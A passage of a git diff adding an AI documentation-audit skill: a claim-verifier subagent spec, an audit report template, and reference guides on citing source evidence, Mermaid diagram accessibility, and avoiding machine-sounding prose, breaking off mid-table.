+- [`voice-and-ai-tells.md`](references/voice-and-ai-tells.md) - the tell catalogue with a corrected rewrite for each. Read while writing or revising prose. +- [`diagram-and-image-accessibility.md`](references/diagram-and-image-accessibility.md) - worked `accTitle` and `accDescr` examples, and how to choose a diagram type. Read before adding or editing a diagram. +- [`claim-verifier.md`](agents/claim-verifier.md) - a subagent that tries to disprove one claim against the source. Use it on any claim you are not certain of. +- [`audit-report.template.md`](assets/audit-report.template.md) - the report shape for the end of the run. + +--- + ## 1. Execution Flow (Sequential) Execute all three phases in order. @@ -150,10 +173,10 @@ Write as a careful human technical writer: formal and neutral, never robotic. Th ### Formatting -- Always use relative links, including `../` paths, for GitHub compatibility. Some style guides prefer repository-root-absolute paths; those do not resolve on GitHub, which reads them against the site root. New directories must have an `index.md`. +- Always use relative links, including `../` paths, for GitHub compatibility. Some style guides prefer repository-root-absolute paths; those do not resolve on GitHub, which reads them against the site root. New directories must have an entry-point file, named as the project's existing directories name theirs. - A document opens with a single H1 named for its file, then a one to three sentence introduction written for a reader who does not yet know the subject or why they would use it, then H2s. Later headings are unique and fully descriptive, sub-sections included ("Retry backoff limits", not "Limits"), because anchors are generated from heading text and other documents link to them. Use sentence case. - Prefer standard markup to raw HTML. If the markup cannot express it, reconsider whether the document needs it. -- Add a `## Related Documentation` section at the file bottom only when genuinely relevant links exist (not in `index.md` or `README.md`). +- Add a related-documentation section at the file bottom only when genuinely relevant links exist, and not in a directory's entry-point file. Match the heading text the project already uses for it. --- diff --git a/.claude/skills/audit-docs/agents/claim-verifier.md b/.claude/skills/audit-docs/agents/claim-verifier.md new file mode 100644 index 00000000..bcf3a61d --- /dev/null +++ b/.claude/skills/audit-docs/agents/claim-verifier.md @@ -0,0 +1,99 @@ +--- +name: claim-verifier +description: Adversarially verifies a single documentation claim against the source file and symbol it cites and returns CONFIRMED, REFUTED, or UNPROVEN with the proving quote; use it once per claim, before that claim is published. +--- + +# Claim verifier + +This agent takes one documentation claim, tries to disprove it against the source the claim cites, and returns a verdict. It runs before the claim reaches the page: `SKILL.md` states the grounding rule, and this file is the procedure that enforces it on a single sentence. + +## Input the agent receives + +Three fields arrive: the claim as one sentence, the path of the file it cites, and the symbol inside that file. Nothing else. The agent does not receive the surrounding document, the other claims in the audit, or the reason the claim was written, and it does not ask for them: a claim that cannot be settled from its own citation is UNPROVEN, and the caller repairs the citation. Where no symbol is named, treat the file as the symbol only when the claim is about the file as a whole, such as a table of exported constants or a configuration file, and otherwise return UNPROVEN (not reached) naming the missing part of the citation. + +## Procedure: negate, open, trace + +1. **Write the negation** of the claim in one sentence. That negation, not the claim, is what you spend the run hunting for. +2. **Open the cited file** and read the body of the cited symbol end to end. A body read in part settles nothing. +3. **Trace outward** along the path the claim covers: every call the body makes, every conditional that can skip the claimed behaviour, every early return, guard, fallthrough branch, and discarded error. Follow a call into its own definition when the claimed behaviour would have to live there. +4. **Search for the string that establishes the negation** before searching for one that establishes the claim. A confirming string counts only after the refuting search has failed. +5. **Apply the quantifier test**, then return the verdict. + +**Quantifier test.** The claim's quantifier decides how much of the implementation has to be walked. A universal claim (always, every, rejects, requires, never) is refuted by one path where it does not hold, so every path in scope is walked before CONFIRMED. An existential claim (can, supports, accepts, may return) is established by one reachable path, so the first such path settles it. A claim with no stated quantifier is read as universal, which is the stricter of the two. + +## What counts as a proving quote + +A quote is a string copied character for character out of the cited file, sitting on a path that runs. Four things disqualify one: + +- It sits inside a comment, docstring, or annotation text. That is another claim about the code, not the code. +- It is a signature, type, or declaration rather than a statement. A declaration proves what is declared, never what runs. +- It is unreachable: dead code, a disabled branch, a test fixture, or an overload other than the one the claim covers. +- It is paraphrased, reflowed, or reconstructed from memory. A line number is not a quote either, since it can be produced without reading anything. + +## The three verdicts + +One rule governs all three: **CONFIRMED and REFUTED each carry a verbatim quote, and a verdict with no quote is UNPROVEN.** There is no other way to settle a claim. + +- **CONFIRMED**: the quoted string proves the claim as written, at the quantifier the claim uses. +- **REFUTED**: the source contradicts the claim. Quote the contradicting string and state what the implementation does instead. +- **UNPROVEN**, returned under one of two labels: + - **not reached**: the file is absent, the symbol is not in it, the body sits behind a boundary you cannot open (generated, compiled, vendored, remote), or you did not open it. + - **not established**: you read the whole body and no string either proves or contradicts the claim, the outcome is fixed by a value supplied elsewhere, or the claim as worded cannot be falsified. + +Uncertainty resolves to UNPROVEN, never to CONFIRMED. UNPROVEN costs the caller one claim; a CONFIRMED without proof puts an unchecked statement into published documentation. + +**Refuting a claim about something absent.** A claim that the code does something its body never does has no contradicting string to quote. Quote the code occupying the position where the claimed behaviour would have to sit: the catch block whose only statement is a return, the branch that falls through, the handler that returns before the claimed call. That quote carries REFUTED. When nothing occupies that position at all, the verdict is UNPROVEN (not established). + +## Verdict format returned + +```text +VERDICT: CONFIRMED | REFUTED | UNPROVEN (not reached) | UNPROVEN (not established) +CLAIM: +SOURCE: :: +QUOTE: +BEHAVIOUR: +NOTE: +``` + +Echo CLAIM character for character. A narrower claim the source does support belongs in NOTE, where the caller can choose it, and never in CLAIM. + +## Worked examples + +**CONFIRMED.** Claim: "`Session#refresh` raises when the token has expired." + +```ruby +def refresh + raise ExpiredToken, "token expired at #{@expires_at}" if @expires_at < Time.now + @client.post("/renew", token: @token) +end +``` + +QUOTE: `raise ExpiredToken, "token expired at #{@expires_at}"`. The guard runs ahead of the renewal call, so the universal reading holds on every path. + +**REFUTED.** Claim: "`Close` flushes buffered writes before releasing the handle." + +```go +func (w *Writer) Close() error { + w.buf = nil + return w.file.Close() +} +``` + +QUOTE: `w.buf = nil`. BEHAVIOUR: the buffer is discarded, not written out. The quote is the code standing where a flush would have to be. + +**UNPROVEN (not established).** Claim: "`retryPolicy` retries three times." + +```kotlin +fun retryPolicy(config: Config): Policy = + Policy(config.attempts, backoff = Duration.ofSeconds(2)) +``` + +The body was read in full and fixes no attempt count: `config.attempts` arrives from the caller. NOTE: the source does support "the retry backoff is two seconds", quote `Duration.ofSeconds(2)`. + +## Traps and the verdict each one produces + +- **The only candidate quote sits in a comment or docstring.** The symbol's own documentation is a claim of the same kind you are checking, so it cannot settle one. Where docstring and body disagree, return REFUTED quoting the body. +- **The string about to be pasted is a signature or a type.** `def delete_user` and a return type of `Result` prove what is declared. The body may set a flag and return success. +- **You hold a search match and have not opened the file.** Return UNPROVEN (not reached) until the file is open and the body is read end to end. A match printed with surrounding context is still a snippet. +- **The quote came from a caller rather than from the body.** A caller's argument describes one call site; the claim is about the symbol. Re-anchor on the implementation, and when the behaviour holds only for that one caller, return REFUTED with the call site named in NOTE. +- **You have rewritten the claim into a version you can prove.** Restore the wording as received and verdict that one. The provable version goes in NOTE. diff --git a/.claude/skills/audit-docs/assets/audit-report.template.md b/.claude/skills/audit-docs/assets/audit-report.template.md new file mode 100644 index 00000000..893dc554 --- /dev/null +++ b/.claude/skills/audit-docs/assets/audit-report.template.md @@ -0,0 +1,102 @@ +# Documentation audit report template + +Copy this skeleton, replace every bracketed placeholder, and delete each parenthetical hint once the text beside it is written. Keep every heading: a section with nothing to report gets its stated empty-case line, because a deleted section reads as a phase that never ran. + +- [How to complete this template](#how-to-complete-this-template) +- [Audit scope and summary](#audit-scope-and-summary) +- [Phase 1 result: pull request sync](#phase-1-result-pull-request-sync) +- [Phase 2 result: documentation directory audit](#phase-2-result-documentation-directory-audit) +- [Phase 3 result: in-code documentation audit](#phase-3-result-in-code-documentation-audit) +- [Files changed and kind of change](#files-changed-and-kind-of-change) +- [Unverified claims and symbols](#unverified-claims-and-symbols) +- [Code problems observed, not changed](#code-problems-observed-not-changed) +- [Checks before returning this report](#checks-before-returning-this-report) + +## How to complete this template + +(Delete this section from the finished report.) + +- Name files in a code span, not a markdown link. This report is text returned to whoever asked for the audit, so a relative path from it resolves nowhere. +- A phase result states what changed or states that the documentation already matched the code. It does not narrate the search. +- Counts are literal: "read 14 files" means 14 files were opened during this run. +- Any statement that needed a hedge belongs under Unverified rather than in a phase result with the hedge attached. + +## Audit scope and summary + +[what you audited] over [scope as it resolved: the active pull request, the uncommitted working changes, or the paths named in the request]. Read [count] files, changed [count]. [One or two sentences on what the audit found overall.] + +(Name the scope as it resolved, not as it was requested: if the request said "the active pull request" and none existed, say the scope fell back to the working changes and name them.) + +Sources that could not be resolved this run: [name each one and what you used instead, or write "none"]. + +## Phase 1 result: pull request sync + +**Status:** [changed / already accurate / not applicable, no pull request or working changes found] + +- `[document]`: [behaviour the diff changed, and the statement that now describes it]. Grounded in `[symbol]` in `[file]`. +- `[document]`: already described the changed behaviour correctly, left as it stands. + +(Cover only behaviour the diff changed. A document that was already correct for a diff hunk is a result worth stating, so name it rather than omitting it.) + +## Phase 2 result: documentation directory audit + +**Status:** [changed / already accurate] + +- Corrected `[document]`: [the statement that contradicted the code] replaced with [the statement the code supports], from `[symbol]` in `[file]`. +- Deleted [section] from `[document]`: [describes a removed feature / duplicated in `[document]` / cannot be corrected]. +- Created `[new document]`: [why no existing document was a home for it], filed as [tutorial / how-to guide / reference / explanation]. + +(Deletion needs one of the three listed reasons. Anything else is a correction. A created file needs the structure check stated first: which existing homes were considered and why each did not fit.) + +## Phase 3 result: in-code documentation audit + +**Status:** [changed / audited in-code documentation across [count] files, all accurate, no changes required] + +- `[file]`: [kind of change, such as documented a public symbol, corrected a parameter entry that named a removed argument, removed a comment that restated its line, removed an orphaned TODO]. +- `[file]`: [kind of change]. + +Public symbols left as they stand because their implementation was not read: [`Cache::evict` in `[file]`, `settle_invoice` in `[file]`, or write "none"]. + +(Every symbol listed on that last line also gets an entry under Unverified. Leaving a public symbol undocumented and reporting it is a result; writing its comment from its name is not.) + +## Files changed and kind of change + +| File | Kind of change | +| -------- | -------------------------------------------------------------- | +| `[path]` | [corrected a factual statement about `[symbol]`] | +| `[path]` | [documented [count] previously undocumented public symbols] | +| `[path]` | [created, [tutorial / how-to guide / reference / explanation]] | + +Kinds to choose from: corrected a factual statement, documented a public symbol, corrected an existing documentation tag, removed an outdated or restating comment, removed a duplicated section, created, deleted. + +(One row per file, not one per edit. If no file changed, replace the table with "No files changed.") + +## Unverified claims and symbols + +An entry here is a result rather than a failure: the alternative is a sentence in the documentation that no reader can check. + +- Claim: [the statement that could not be grounded]. Blocked by: [the file could not be opened / the behaviour crosses into a dependency outside the tree / two locations disagree and neither settles it]. Settled by: [what would ground it, such as reading a specific file or running a specific test]. +- Symbol: `OrderService.cancel` in `[file]`. Behaviour could not be established because [reason]. Left as it stands, no comment written. +- Reference: `[path or anchor]` cited by `[document]` does not resolve. Action taken: [statement corrected / statement removed / left in place, needs a decision from a maintainer]. + +(Write "Nothing unverified" only when that is true. Do not move an item into the documentation to empty this list.) + +## Code problems observed, not changed + +This run edits documentation, so a code defect is reported here and left alone. Give each entry enough for someone else to reproduce it without repeating the audit. + +- `[file]`, `[symbol]`: [the defect stated as behaviour, for example "`settle_invoice` returns a null value for a zero-amount invoice, and each of its three callers dereferences the result"]. Evidence: `[short string copied from the source]`. +- `[file]`, `[symbol]`: [a behaviour an existing comment claimed and the code does not perform]. The comment was corrected to match the code; the code was left as it stands. + +(Write "None observed" if there are none. A defect fixed rather than reported is a scope breach, so say plainly if the invoking task authorized a code change.) + +## Checks before returning this report + +(Delete this section from the finished report.) + +- Every phase carries a status line, including a phase whose answer is that the documentation was already accurate. +- Every symbol reported as left undocumented in Phase 3 also appears under Unverified. +- Every file named in a phase result appears in the files changed table, and every row of that table is a file that was edited. +- The file count in the summary matches the number of rows in the table. +- No hedge ("appears to", "seems to", "likely", "probably") survives anywhere in the report. +- No entry in the code problems section describes an edit that was made. diff --git a/.claude/skills/audit-docs/references/diagram-and-image-accessibility.md b/.claude/skills/audit-docs/references/diagram-and-image-accessibility.md new file mode 100644 index 00000000..a444c4ad --- /dev/null +++ b/.claude/skills/audit-docs/references/diagram-and-image-accessibility.md @@ -0,0 +1,140 @@ +# Diagram and image accessibility + +A diagram or image that a reader cannot see must still deliver its content, which is the job of `accTitle`, `accDescr`, and alt text. Whether those fields are publishable is decided by concrete checks, and the work starts earlier still, with the decision to draw a diagram at all and the choice of type. + +- [The two required Mermaid accessibility fields](#the-two-required-mermaid-accessibility-fields) +- [Worked Mermaid examples with usable accessibility text](#worked-mermaid-examples-with-usable-accessibility-text) +- [A failing accDescr and its correction](#a-failing-accdescr-and-its-correction) +- [Alt text for images](#alt-text-for-images) +- [Choosing the Mermaid diagram type](#choosing-the-mermaid-diagram-type) +- [Deciding whether a diagram belongs at all](#deciding-whether-a-diagram-belongs-at-all) + +## The two required Mermaid accessibility fields + +`accTitle` names the subject, and `accDescr` carries everything the picture carries. Both go inside the diagram body, on the lines after the type declaration and before the first node or participant. A diagram missing either field does not get published: an agent that cannot write the description has not read the code well enough to draw the diagram, and shipping the diagram anyway hands a sighted reader information a non-sighted reader cannot reach. + +Syntax that trips people up: `accTitle:` and `accDescr:` each end at the newline, so a description longer than one line uses the braced form `accDescr { ... }` instead. Continuation lines written under an `accDescr:` are read as diagram content, and the parser rejects them, so render the diagram before publishing rather than trusting the source to be well formed. Neither field is drawn on the canvas, so a heading or introductory sentence above the diagram is still needed for sighted readers. + +Apply these checks to the text itself: + +- **`accTitle` names this diagram and no other.** "Diagram", "Flow", "Overview", and the document's own title all fail. "Access token refresh between client, gateway, and identity service" passes because no second diagram in the project could carry it. +- **`accDescr` survives the hide test.** Cover the diagram, read the description, and try to redraw the shape from it. If the redrawing needs a guess about which node connects to which, the description is incomplete. +- **Every node, participant, or state appears by its label**, and so does every relation between them, including the direction. A description listing the boxes without the arrows describes an inventory, not a diagram. +- **Every branch names its condition and both outcomes**, and a terminal point is stated as terminal, since a reader cannot see that nothing leaves a node. "Checks the file, then stores it" hides the rejection path the diagram draws. +- **No meta description of the drawing.** "A flowchart with six nodes and two decision points" describes the rendering, not the system. + +## Worked Mermaid examples with usable accessibility text + +A sequence diagram, where the description carries the ordering that the arrows carry: + +```mermaid +sequenceDiagram + accTitle: Access token refresh between client, gateway, and identity service + accDescr { + Client, Gateway, and Identity exchange six messages in order. Client sends a request carrying an + expired access token to Gateway. Gateway asks Identity to validate that token and receives a + rejection naming expiry as the reason. Gateway then sends the refresh token to Identity, which + returns a new access token. Gateway retries the original request and returns its result to Client. + } + participant Client + participant Gateway + participant Identity + Client->>Gateway: Request with expired access token + Gateway->>Identity: Validate access token + Identity-->>Gateway: Rejected, token expired + Gateway->>Identity: Exchange refresh token + Identity-->>Gateway: New access token + Gateway-->>Client: Response to original request +``` + +A state diagram, where the description carries the transition conditions and says which states are terminal: + +```mermaid +stateDiagram-v2 + accTitle: Lifecycle of a queued background job + accDescr { + A job passes through five named states. It enters Queued on acceptance and moves to Running when + a worker claims it. Running ends in Succeeded when the handler returns, or in Failed when the + handler raises. Failed returns to Queued while the attempt count is below the retry limit, and + moves to Abandoned once the count reaches it. Succeeded and Abandoned are terminal: no transition + leaves either. + } + [*] --> Queued + Queued --> Running: worker claims job + Running --> Succeeded: handler returns + Running --> Failed: handler raises + Failed --> Queued: attempts below limit + Failed --> Abandoned: attempts reach limit +``` + +## A failing accDescr and its correction + +The failing version, with both fields present and neither doing its job: + +```mermaid +flowchart TD + accTitle: Diagram + accDescr: A diagram showing how uploads are processed. + A[Upload received] --> B{Scan clean?} + B -- no --> C[Quarantine and notify uploader] + B -- yes --> D{Under size limit?} + D -- no --> E[Reject with size error] + D -- yes --> F[Store object and emit ready event] +``` + +The title could sit on any diagram in any document. The description names no node, no branch, and no outcome, so a reader who cannot see the picture learns only that uploads exist. The corrected header, with the body unchanged: + +```mermaid +flowchart TD + accTitle: Upload validation before an object reaches storage + accDescr { + An upload passes two checks in sequence. Upload received leads to Scan clean?, where no leads to + Quarantine and notify uploader, ending that path, and yes leads to Under size limit?. There, no + leads to Reject with size error, also ending that path, and yes leads to Store object and emit + ready event. Both rejection paths stop before anything is stored. + } +``` + +## Alt text for images + +Alt text carries what the reader needs from the image at the point where it sits, not an inventory of the frame. "Screenshot", "diagram", "architecture", and the file name fail the same way an absent `accDescr` fails: the field is populated and the content is gone. In Markdown, the alt text is the bracketed text: + +```markdown +![Screenshot](images/queue-dashboard.png) +![Queue dashboard showing depth rising from 200 to 18,000 messages between 02:00 and 02:40, then falling to 300 within four minutes of the additional consumers starting](images/queue-dashboard.png) +``` + +In HTML, it is the `alt` attribute, and the same bar applies: + +```html +Provider settings panel with the token lifetime field set to 15 minutes +``` + +Two further checks: + +- **Text inside an image is unreachable.** Configuration, log output, terminal sessions, and error messages belong in a code block, where they can be copied, searched, and read aloud. A screenshot of text fails every reader using a screen reader and most readers using search. +- **Use an image only where showing is easier than describing.** A rendered interface, a physical layout, or a third-party console the reader must recognize qualifies. A structure that Mermaid can draw belongs in Mermaid, which stays diffable and carries its own accessibility fields. An image carrying no meaning is deleted rather than described, which is why every image that stays carries alt text saying what it shows. Empty `alt` is the correct markup for a decorative image, and needing it is the signal that the image should not be there. + +## Choosing the Mermaid diagram type + +Pick from `flowchart`, `sequenceDiagram`, `classDiagram`, `stateDiagram`, `journey`, `C4Context`, `mindmap`, `xychart`, `kanban`, `architecture-beta`, and `treemap-beta` by naming what the content actually is, then reading off the type: + +- Messages between named parties, where order over time is the point: `sequenceDiagram`. +- One entity sitting in named conditions, with events moving it between them: `stateDiagram`. +- Steps with decision points and branches, where no single actor or entity is being tracked: `flowchart`. +- Types, their fields, and the relationships between them: `classDiagram`. +- Stages a person passes through, with a rating attached to each: `journey`. +- Systems, the people who use them, and external systems at the boundary: `C4Context`. +- Deployed services and the connections between them, grouped by boundary: `architecture-beta`. +- One root concept branching into related concepts with no ordering: `mindmap`. +- Numeric values against an axis: `xychart`. +- Work items grouped by status column: `kanban`. +- Nested parts sized in proportion to a measured quantity: `treemap-beta`. + +`flowchart` is the default that gets reached for when another type fits, because it accepts any shape. Two signals that the wrong type was chosen: the nodes are named systems or people and the arrows are requests and responses, which is a sequence, flattened until the ordering and the pairing of each response to its request are lost; or the nodes are named conditions and the arrows are events, which is a state machine, drawn so that a reader cannot tell which nodes are terminal. Convert rather than relabel. + +## Deciding whether a diagram belongs at all + +Draw one for multi-service interactions, state machines, data pipelines, flows of five or more steps, user journeys, and dependency graphs. Skip it for trivial logic, basic create, read, update, and delete operations, and any case where the diagram would repeat a short list that the prose already gives. A three-node flowchart is a sentence that took longer to read. + +A diagram is a set of claims and carries the same grounding requirement as prose. Every node names something that exists in the code as read this run, and every arrow names a call, transition, or dependency that the code makes. A planned service, a structure someone described in a discussion, or an arrow added because it makes the picture symmetrical is a false statement rendered as a picture, and it is harder to fact-check later than a false sentence because no reviewer reads a diagram for citations. When the code cannot be confirmed, leave the diagram out and report the gap. The same reasoning applies afterwards: when an audit touches a file a published diagram depends on, re-read the diagram against the current code and correct or delete it in that pass. A diagram also inherits the significance filter that governs the surrounding flows, so logging, metrics, and internal helper steps stay out unless the system being documented is itself observability. diff --git a/.claude/skills/audit-docs/references/evidence-and-citation.md b/.claude/skills/audit-docs/references/evidence-and-citation.md new file mode 100644 index 00000000..8aa682d1 --- /dev/null +++ b/.claude/skills/audit-docs/references/evidence-and-citation.md @@ -0,0 +1,89 @@ +# Evidence and citation + +A claim is publishable when you can name the file, the symbol, and a string copied character for character out of the source that shows the behaviour. This file gives the procedure for getting that proof, the traps that produce a claim without it, and where a claim goes when it cannot be grounded. + +- [What holding proof means](#what-holding-proof-means) +- [Choosing the quote that proves the effect](#choosing-the-quote-that-proves-the-effect) +- [Why the quote stays out of the published sentence](#why-the-quote-stays-out-of-the-published-sentence) +- [Reading a symbol through to the claim](#reading-a-symbol-through-to-the-claim) +- [Proving that something does not happen](#proving-that-something-does-not-happen) +- [Sources that do not count as evidence](#sources-that-do-not-count-as-evidence) +- [Hallucination patterns and the check that catches each](#hallucination-patterns-and-the-check-that-catches-each) +- [Worked examples in three languages](#worked-examples-in-three-languages) +- [What to do with a claim you cannot ground](#what-to-do-with-a-claim-you-cannot-ground) + +## What holding proof means + +Proof is a three-part scratch record kept per claim, alongside the sentence it supports: the file path as the project spells it, the symbol (function, method, class, constant, rule, or build target), and a short verbatim string copied out of that symbol, punctuation, spelling, and casing intact. + +A line number is not part of the record, and citing one is not proof. It cannot be rechecked without opening the file, it moves the moment anything above it changes, and it can be typed without having read a single line. The copied string is different in kind: at output time you search the file for it, and either it is still there character for character or the claim comes off the page until you re-ground it. That recheck is what the record buys, and it is why the string is mandatory where the number is worthless. + +## Choosing the quote that proves the effect + +Quote the line that performs or decides the behaviour: an assignment, a return, a raise or throw, a branch condition, or the call that does the work. A signature, a type declaration, an import, a docstring, or a log message proves that some text exists and nothing more. `log.info("deleting user")` proves a log line, not a deletion, and the deletion may sit three branches away or nowhere at all. + +Keep the quote to one line or the fragment carrying the operative token. A ten-line paste is not stronger evidence, and it is slower to re-find. Where the behaviour depends on a value defined elsewhere, hold two quotes: the definition of the value and the site that reads it. + +## Why the quote stays out of the published sentence + +The quote is a private verification token, not published text. The page cites the file and symbol through a single markdown link and states the behaviour in your own words: no pasted source, no line range, no commit hash, no "as of" qualifier. A reader follows the link to the file as it stands today, whereas pasted source and line ranges go stale on the next edit, silently and without a signal to anyone. + +```text +Note kept (never published): + file: src/config/loader.rb + symbol: ConfigLoader#fetch + quote: raise MissingKey, "no value for #{name}" + +Published sentence: + [`ConfigLoader#fetch`](../src/config/loader.rb) raises `MissingKey` when the named + key is absent from every loaded source. +``` + +## Reading a symbol through to the claim + +Locate the definition by symbol search, open the file, and confirm you are on the definition rather than a re-export, an interface declaration, or a same-named symbol in another module. Read the body end to end, guard clauses at the top and error paths at the bottom included, then follow the calls and conditionals that could change the claim you intend to make. + +The stopping rule for descending is the claim itself: stop when the next call cannot change what you are about to write. A claim about a return value stops at whatever produces the value. A claim about persistence descends until you reach the statement that writes, or the boundary the project treats as external. + +Delegation needs care. When the symbol forwards to another, the proof lives in the callee and your quote comes from there, while the published citation names the symbol the reader actually calls. A wrapper that adds a guard, a default, or a transform changes the claim, so read the wrapper rather than assuming pass-through. For behaviour with more than one moving part, corroborate across two or three locations: the definition, one call site, and a test whose assertion body (not its name) states the outcome. + +## Proving that something does not happen + +An absence claim ("does not validate the payload", "no retry on a 4xx") cannot be proved by copying one string, because the evidence is a branch that is not there. Ground it by enumerating the full set of branches and quoting the boundary that closes the set: the final `else`, the `default` case, the end of the match, or the last statement of the body. Then search for anything else that writes the same path (a subclass, an override, middleware, a decorator, a registered hook, generated code) and confirm none of them supplies the behaviour you are calling absent. Record the search you ran next to the quote. If the set cannot be closed, because dispatch is dynamic or the handler list is assembled at run time, the claim goes under "Unverified" instead of on the page. + +## Sources that do not count as evidence + +Each of these can start an investigation. None of them ends one. + +- **A search-result snippet.** It hands you the matching line stripped of the guard above it and the early return below it. Open the file at that symbol and read the body. +- **A repository map or directory listing.** It proves a path exists. No path implies behaviour, whatever the folder is called. Open the file. +- **A summary, yours or another agent's.** A paraphrase carries no string you can search for later. Re-derive the quote from the source. +- **A previous turn, including your own read earlier in this run.** The read is void once anything has written to that file since, and an audit run writes often. Re-open before citing. +- **The file's own comments, docstrings, README, or changelog.** These are the material under audit. Where comment and code disagree, the code is the fact and the comment is a correction to make. +- **A test name.** `test_rejects_negative_retries` states an intention. The assertion inside the test is evidence; the name is a label someone typed. + +## Hallucination patterns and the check that catches each + +| Pattern | Check that catches it | +| -------------------------------- | ----------------------------------------------------------------- | +| Inferring behaviour from a name | Copy the line that performs the effect; a signature is not one | +| Trusting a stale comment | Quote from the code below the comment, never from the comment | +| Documenting planned behaviour | Confirm the branch has a caller and the default value reaches it | +| Citing a line range | Replace the range with a copied string, or drop the claim | +| Generalizing from one call site | Enumerate every caller, or scope the sentence to the one you read | +| Trusting a parameter default | Check the call sites and config layers that override it | +| Reading a config key by its name | Find the read site; a key often gates less than its name suggests | + +## Worked examples in three languages + +**Ruby, a name read instead of a body.** Wrong claim: "`Account#deactivate!` deletes the account record." Proof that was needed: symbol `Account#deactivate!` in `app/models/account.rb`, quote `update!(status: :archived, deactivated_at: Time.current)`, with no destroy call anywhere in the body. Corrected sentence: "`Account#deactivate!` sets the account status to `archived` and stamps `deactivated_at`; the row remains in the table." + +**Go, arithmetic assumed from a constant.** Wrong claim: "`Do` makes three attempts before giving up", inferred from `const maxRetries = 3`. Proof that was needed: the loop header `for attempt := 0; attempt <= maxRetries; attempt++ {`, which runs for attempt values 0, 1, 2, and 3. Corrected sentence: "`Do` makes an initial call followed by up to three retries, four calls in total, then returns the last error." + +**Kotlin, a comment trusted over the code.** Wrong claim, copied from the symbol's own documentation comment: "Returns null when the cache has not been warmed." Proof that was needed: the body's `throw IllegalStateException("cache not warmed")`, plus a declared return type that is not nullable. Corrected sentence: "`CacheReader.read` throws `IllegalStateException` when it is called before the cache is warmed." The comment itself is a second finding: correct it in the same run. + +## What to do with a claim you cannot ground + +Keep it off the page. Do not soften it into "appears to" or "should", do not park a placeholder in the document, and do not write it from the symbol's name. Report it under an "Unverified" heading in the run output, one line per item, naming the claim you could not make, the file and symbol you reached, and what blocked you: dynamic dispatch, generated or vendored code, a file you could not open, a behaviour that only a running system would settle. + +Existing published prose is treated differently from new prose. A sentence already on the page that a held quote contradicts is corrected. A sentence you simply could not confirm is left as written and listed as unverified, since deleting accurate content because your run did not reach it is a loss. A public symbol left undocumented and named in the list is a compliant outcome for the run; a sentence invented from a name is the defect the whole rule exists to prevent. diff --git a/.claude/skills/audit-docs/references/voice-and-ai-tells.md b/.claude/skills/audit-docs/references/voice-and-ai-tells.md new file mode 100644 index 00000000..ffdda8b7 --- /dev/null +++ b/.claude/skills/audit-docs/references/voice-and-ai-tells.md @@ -0,0 +1,140 @@ +# Voice and AI tells + +A formal, neutral register is correct for technical documentation. Prose reads as machine-generated because of a small set of recurring constructions layered on that register, not because of the formality, so the work is to cut the constructions and keep the register. + +- [Scope limit: only prose you add or change](#scope-limit-only-prose-you-add-or-change) +- [Signposting previews that announce content instead of giving it](#signposting-previews-that-announce-content-instead-of-giving-it) +- [Puffery copulas that assert significance](#puffery-copulas-that-assert-significance) +- [The rule-of-three triad as a default rhythm](#the-rule-of-three-triad-as-a-default-rhythm) +- [Filler transitions at high frequency](#filler-transitions-at-high-frequency) +- [Formulaic conclusions and manufactured tension](#formulaic-conclusions-and-manufactured-tension) +- [Padded vocabulary, its replacements, and the words that stay](#padded-vocabulary-its-replacements-and-the-words-that-stay) +- [Hedging that dodges commitment](#hedging-that-dodges-commitment) +- [Prose that restates the code instead of adding to it](#prose-that-restates-the-code-instead-of-adding-to-it) +- [Show, do not tell: the cited fact that earns the adjective](#show-do-not-tell-the-cited-fact-that-earns-the-adjective) +- [Leading with the point and letting sentence length follow content](#leading-with-the-point-and-letting-sentence-length-follow-content) +- [Self-check for a paragraph you just wrote](#self-check-for-a-paragraph-you-just-wrote) + +## Scope limit: only prose you add or change + +Apply this catalogue to sentences you write, and to sentences you rewrite for a factual reason. Accurate existing prose stays as its author wrote it, tells and all: rewriting it for rhythm produces a diff no reviewer can check against the code, and it buries the factual corrections that were the point of the audit. Two cases cross back into scope. A sentence that contradicts the code is rewritten because it is wrong, and the replacement follows this file. A hedge concealing an unverified claim is an accuracy defect, so it is resolved by verification or deletion rather than preserved as someone's style. + +## Signposting previews that announce content instead of giving it + +Delete the announcement and open with the content. The grammatical subject gives the tell away: it is the document (this section, this guide, the table below, we) rather than the system being described. A heading already performs the announcement, and the same construction reappears mid-document as "as mentioned above", which orients the reader inside the page instead of inside the software. + +- Before: "This section covers the retry configuration and explains how it applies to outbound requests." +- After: "Outbound requests retry three times, with the count read from `MAX_ATTEMPTS` once at startup." + +## Puffery copulas that assert significance + +Replace the copula with the verb that names what the subject does. `serves as`, `stands as`, `is a testament to`, and `plays a vital role in` fill the predicate without stating a behaviour, so none of them can be grounded in a line of code. Test by deleting the sentence and asking what a reader can no longer predict; if the answer is nothing, it stated no behaviour. One survivor: `acts as` is correct where it names a relationship the code implements, such as a type acting as an adapter between two interfaces, because the adapter is a fact rather than a compliment. + +- Before: "The scheduler serves as the backbone of the ingestion pipeline and plays a pivotal role in throughput." +- After: "The scheduler assigns each ingestion batch to a free worker, and holds the batch in the queue while every worker is busy." + +## The rule-of-three triad as a default rhythm + +Three parallel items are correct when the set has three members, and generated-sounding when they arrive from cadence instead of a count. Three transport types or three lifecycle hooks stay, each one named. Three adjectives, or three abstract nouns circling one idea, come from rhythm. The check is to count the members in the source, then drop the third item and confirm whether the sentence lost information or only lost its cadence. + +- Before: "The cache layer is fast, reliable, and scalable, giving developers speed, confidence, and peace of mind." +- After: "The cache holds 10,000 entries and evicts the least recently used one on overflow. A miss falls through to the primary store." + +## Filler transitions at high frequency + +Keep a transition that marks a logical turn, and cut one that marks only that another sentence has started: the tell is density, not vocabulary. Count sentence-initial connectives per paragraph, and treat more than one, or any two in consecutive sentences, as a signal that the paragraph is a list wearing prose clothing. Either join the sentences or make it a real list. `however` and `instead` earn their place when the clause that follows contradicts the one before it; `additionally` rarely does, because sequence already implies addition. + +- Before: "Additionally, the parser accepts a leading byte-order mark. Furthermore, it rejects a trailing comma. Moreover, it lowercases header names." +- After: "The parser accepts a leading byte-order mark, rejects a trailing comma, and lowercases header names." + +## Formulaic conclusions and manufactured tension + +Stop when the facts stop. A closing paragraph that restates the section adds no fact, and the "despite its strengths, it faces challenges" shape invents a tension no source states. Where a limitation is real, state it at the point it bites, with its source: "The queue drops the oldest message once depth passes `QUEUE_MAX`." A limitation you cannot cite goes into your report to the human, never onto the page. + +- Before: "In conclusion, the queue is a strong solution, though despite its strengths it faces challenges at scale." +- After: nothing at all. The paragraph is deleted, because the depth limit and the drop behaviour were already stated where they apply. + +## Padded vocabulary, its replacements, and the words that stay + +Substitute the plain word, which carries the same meaning and does not pattern-match to generated text. + +| Padded word | 